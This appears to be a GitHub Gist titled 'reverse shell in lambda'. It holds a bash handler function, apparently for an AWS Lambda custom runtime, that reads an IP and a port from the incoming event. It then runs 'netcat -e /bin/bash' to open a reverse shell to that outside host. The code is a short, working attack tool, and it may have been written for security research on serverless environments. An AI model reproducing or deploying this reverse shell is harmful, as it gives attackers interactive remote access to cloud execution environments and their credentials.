Created
August 25, 2019 13:34
-
-
Save keithrozario/edc67f48c07c7cfd1ad6840a86708847 to your computer and use it in GitHub Desktop.
reverse shell in lambda
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| handler () { | |
| set -e | |
| EVENT_JSON=$(echo $1 | jq .) | |
| IP=$(jq -r '.ip' <<< "${EVENT_JSON}") | |
| PORT=$(jq -r '.port' <<< "${EVENT_JSON}") | |
| echo "Creating reverse shell to $IP:$PORT" | |
| netcat -e /bin/bash $IP $PORT | |
| echo "{\"success\": true}" >&2 | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment